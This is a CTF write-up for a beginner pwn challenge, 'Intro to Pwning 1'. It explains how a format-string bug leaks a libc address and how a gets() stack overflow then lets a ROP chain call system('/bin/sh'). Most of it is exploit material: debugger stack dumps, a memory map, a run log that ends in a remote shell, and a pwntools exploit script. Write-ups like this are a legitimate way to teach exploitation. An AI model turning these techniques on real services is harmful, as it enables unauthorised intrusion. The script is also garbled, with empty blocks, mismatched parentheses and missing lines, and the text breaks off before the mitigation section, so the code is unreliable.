Intro to Pwning 1 - localo

Category: Pwn
Difficulty: Baby
Author: LiveOverflow


This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.

Service running at:


This is the writeup for the first part of the Intro to Pwning series. The author provided a Docker-Compose setup for all three challenges.
The program asks the user for a name and for a spell using a personalized message for the user and says that we are a Hufflepuff. If the spell is Expelliarmus the program returns ~ Protego! otherwise it tells us that we loose 10 Points.


I tried to speedrun the three pwn challenges therefore I tried to solve them with minimal effort. I wrote a handy ROP template some time ago so that I just have to get the offsets right.

We have the source code to all challenges.

The code has two vulnerable functions:

void welcome() {
    char read_buf[0xff];
    printf("Enter your witch name:\n");
    printf("│ You are a Hufflepuff! │\n");

The code above is actually vulnerable to two attacks, a stack-buffer overflow using the gets function on the read_buf buffer. This alone would be enough for an exploit, but due to ASLR the chance of success is quite low, because we need to hit the right address when overwriting the return pointer which we can just guess. Luckily the code is vulnerable to another attack which allows us leak some data.

Format String

The format string attack abuses the way formatting works in function like printf, snprintf, fprintf, ... those functions take a format specifier as their first argument and use this to represent the next arguments. We can lookup the calling convention on wikipedia.

System V AMD64 ABI

The calling convention of the System V AMD64 ABI is followed on Solaris, Linux, FreeBSD, macOS, and is the de facto standard among Unix and Unix-like operating systems. The first six integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX, R8, R9 (R10 is used as a static chain pointer in case of nested functions, while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for the first floating point arguments. As in the Microsoft x64 calling convention, additional arguments are passed on the stack.
Source: wikipedia

Using this attack we can read the contents of those Registers (except for RDI which is used for the format specifier) and we can read the content of the stack.

Here is the output of telescope (which prints a fancy back-trace) inside of printf.

00:0000│ rsp  0x7ffe7b03b9e8 —▸ 0x555cb48fda86 ◂— nop    
01:0008│ rdi  0x7ffe7b03b9f0 ◂— 'AAAA%43$p'
02:0010│      0x7ffe7b03b9f8 ◂— 0x70 /* 'p' */
03:0018│      0x7ffe7b03ba00 ◂— 0x0
... ↓
08:0040│      0x7ffe7b03ba28 ◂— 0x7f0410000000
09:0048│      0x7ffe7b03ba30 —▸ 0x7f04afcb3787 ◂— pop    rdi /* '__vdso_getcpu' */
0a:0050│      0x7ffe7b03ba38 ◂— 0x340
0b:0058│      0x7ffe7b03ba40 ◂— 0x0
... ↓
0d:0068│      0x7ffe7b03ba50 —▸ 0x7f04b011a100 ◂— 0x0
0e:0070│      0x7ffe7b03ba58 ◂— 0x1
0f:0078│      0x7ffe7b03ba60 —▸ 0x7f04b010f4c0 ◂— 0x7f04b010f4c0
10:0080│      0x7ffe7b03ba68 —▸ 0x7f04afefbf5f ◂— test   eax, eax
11:0088│      0x7ffe7b03ba70 —▸ 0x7f04b011a710 —▸ 0x7ffe7b141000 ◂— jg     0x7ffe7b141047
12:0090│      0x7ffe7b03ba78 ◂— 0x0
... ↓
14:00a0│      0x7ffe7b03ba88 —▸ 0x7ffe7b141298 ◂— add    byte ptr [rdi + 0x5f], bl
15:00a8│      0x7ffe7b03ba90 ◂— 0x1958ac0
16:00b0│      0x7ffe7b03ba98 —▸ 0x7f04afcb3787 ◂— pop    rdi /* '__vdso_getcpu' */
17:00b8│      0x7ffe7b03baa0 —▸ 0x7ffe7b03bb20 ◂— 0x1
18:00c0│      0x7ffe7b03baa8 —▸ 0x7ffe7b141180 ◂— 0x71dd557e00000007
19:00c8│      0x7ffe7b03bab0 ◂— 0x7f0400000002
1a:00d0│      0x7ffe7b03bab8 ◂— 0x0
1b:00d8│      0x7ffe7b03bac0 —▸ 0x7ffe7b03ba80 ◂— 0x0
1c:00e0│      0x7ffe7b03bac8 ◂— 0x0
... ↓
1e:00f0│      0x7ffe7b03bad8 ◂— 0xf686a8148ae04b00
1f:00f8│      0x7ffe7b03bae0 —▸ 0x7ffe7b03bbf0 ◂— 0x1
20:0100│      0x7ffe7b03bae8 —▸ 0x555cb48fd9e9 ◂— nop    
21:0108│ rbp  0x7ffe7b03baf0 —▸ 0x7ffe7b03bb10 —▸ 0x555cb48fdb30 ◂— push   r15
22:0110│      0x7ffe7b03baf8 —▸ 0x555cb48fdb21 ◂— mov    eax, 0
23:0118│      0x7ffe7b03bb00 —▸ 0x7ffe7b03bbf8 —▸ 0x7ffe7b03c821 ◂— '/ctf/pwn1'
24:0120│      0x7ffe7b03bb08 ◂— 0x100000000
25:0128│      0x7ffe7b03bb10 —▸ 0x555cb48fdb30 ◂— push   r15
26:0130│      0x7ffe7b03bb18 —▸ 0x7f04afb21b97 (__libc_start_main+231) ◂— mov    edi, eax

As you can see there are many interesting addresses to leak, we could leak the return address of welcome (22) and calculate the base address of pwn1, but I decided to go for __libc_start_main+231 (26) as the address can be used to calculate the base address for libc, which in return we can use to build a ROP chain which does not depend on the program and therefore use for the other pwnintro challenges.
We can find the right offset by using %(0x5+0xn)$p where n is the offset of the telescope output. Which results in %43$p.

Enter your witch name:
│ You are a Hufflepuff! │
0x7f1b0a12db97 enter your magic spell:

-10 Points for Hufflepuff!

We have address 0x7f1b0a12db97 for __libc_start_main+231 and if we take a look at the virtual memory map:

    0x559ba4092000     0x559ba4093000 r-xp     1000 0      /ctf/pwn1
    0x559ba4293000     0x559ba4294000 r--p     1000 1000   /ctf/pwn1
    0x559ba4294000     0x559ba4295000 rw-p     1000 2000   /ctf/pwn1
    0x7f1b0a10c000     0x7f1b0a2f3000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/
    0x7f1b0a2f3000     0x7f1b0a4f3000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/
    0x7f1b0a4f3000     0x7f1b0a4f7000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/
    0x7f1b0a4f7000     0x7f1b0a4f9000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/
    0x7f1b0a4f9000     0x7f1b0a4fd000 rw-p     4000 0      
    0x7f1b0a4fd000     0x7f1b0a524000 r-xp    27000 0      /lib/x86_64-linux-gnu/
    0x7f1b0a71a000     0x7f1b0a71c000 rw-p     2000 0      
    0x7f1b0a724000     0x7f1b0a725000 r--p     1000 27000  /lib/x86_64-linux-gnu/
    0x7f1b0a725000     0x7f1b0a726000 rw-p     1000 28000  /lib/x86_64-linux-gnu/
    0x7f1b0a726000     0x7f1b0a727000 rw-p     1000 0      
    0x7fff15c05000     0x7fff15c26000 rw-p    21000 0      [stack]
    0x7fff15daa000     0x7fff15dad000 r--p     3000 0      [vvar]
    0x7fff15dad000     0x7fff15daf000 r-xp     2000 0      [vdso]

we can see that libc is loaded at 0x7f1b0a10c000

which results in the offset 0x7f1b0a12db97-0x7f1b0a10c000=0x21b97

Before I continue we should take a look at the second vulnerable function:

void AAAAAAAA() {
    char read_buf[0xff];
    printf(" enter your magic spell:\n");
    if(strcmp(read_buf, "Expelliarmus") == 0) {
        printf("~ Protego!\n");
    } else {
        printf("-10 Points for Hufflepuff!\n");

Here we have the the same vulnerability, gets on a stack-buffer.

Here is a part of the man entry:


Never use this function.
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).

We just have to make sure our input does not contain newlines and gets will read it into and over the buffer. This comes quite handy as we have to pass the strcmp(read_buf, "Expelliarmus") check, because _exit(0) would not do a ret. The function tests if two char arrays match until the first nullbyte. Therefore our payload has to start with Expelliarmus\x00.

I won't go too much into the details of ROP, basically it is a code reuse attack where code snippets end with a ret instruction. It is a bit more useful than ret-2-libc, because it can be used to do more complex stuff. For most pwn challenges it is enough to pop the address of /bin/sh\x00 in RDI and call system.

pwntools has a function to search for gadgets.

With all this combined a script can be written to do the work for us.

I used my local libc for this, for the remote exploit we just have to adjust the offsets to the libc in the Docker container.

The padding can be calculated by using cyclic in the overflow , get the value of the return pointer and cyclic_find to get the offset.

$ ./ debug buffer_overflow
cyclic: 0x61616e63
$ ./ remote
[*] '/ctf/pwn1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[x] Opening connection to on port 9100
[x] Opening connection to on port 9100: Trying
[+] Opening connection to on port 9100: Done
[*] '/ctf/'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] __libc_start_main+243: 0x7f8738dea1e3
[+] Libc base address: 0x7f8738dc3000
[*] Loaded 195 cached gadgets for ''
[*] Switching to interactive mode
~ Protego!
$ ls
$ cat flag
$ exit
[*] Got EOF while reading in interactive
[*] Interrupted


#!/usr/bin/env python3
from pwn import *
from huepy import *
import sys
import os
import socket
import subprocess
import re

vuln_host = ''#''
vuln_port = '9100'

app_path = os.getcwd()+'/pwn1'

lo = not 'remote' in sys.argv
dbg = 'dbg' in sys.argv or 'debug' in sys.argv

if dbg:

break_main = 'break_main' in sys.argv
buffer_overflow = 'buffer_overflow' in sys.argv

context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h'])

def init_dbg(app_path):
    args = []
    if break_main and not buffer_overflow:
        args.append('set stop-on-solib-events 1')
        args.append('break __libc_start_main')
        args.append('break *$rdi')
    elif buffer_overflow:
        args.append('set context-sections ""')
        args.append('define hook-stop')
        args.append('printf "cyclic: %p\\n", *((int *)$rsp)')
        args.append('python __import__("time").sleep(10000)')
    return gdb.debug(app_path, "\n".join(args))

elf = ELF(app_path)
if lo:
    p = process(app_path) if not dbg else init_dbg(app_path)
    lib = "/lib/x86_64-linux-gnu/"
    p = remote(vuln_host,vuln_port)
    lib = ""
libc = ELF(lib)

def nop_libc():
    rop = ROP(libc)
    rop.raw([], order = 'regs')[0])
    return rop.chain()

def leak_libc_start_main(addr):
    code = libc.disasm(libc.symbols['__libc_start_main'],0x500)
    r = re.findall(r".*call.*rax.*",code)
    if len(r)>0:
        offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax'))
        log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak)))
        libc.address = leak -offset
    log.error("failed to leak libc, can't calculate base address")

def shell_system():
    rop = ROP(libc)
    rop.raw(rop.find_gadget(['pop rdi','ret'])[0])
    log.debug("Shell chain: \n" + white(rop.dump()))
    return rop.chain()

if buffer_overflow:

leak = int(p.readuntil(" ").rstrip(),16)
log.success("Libc base address: " + green(hex(libc.address)))
padding = cyclic_find(0x61616e63)



To mitigate this problem the following changes should be made: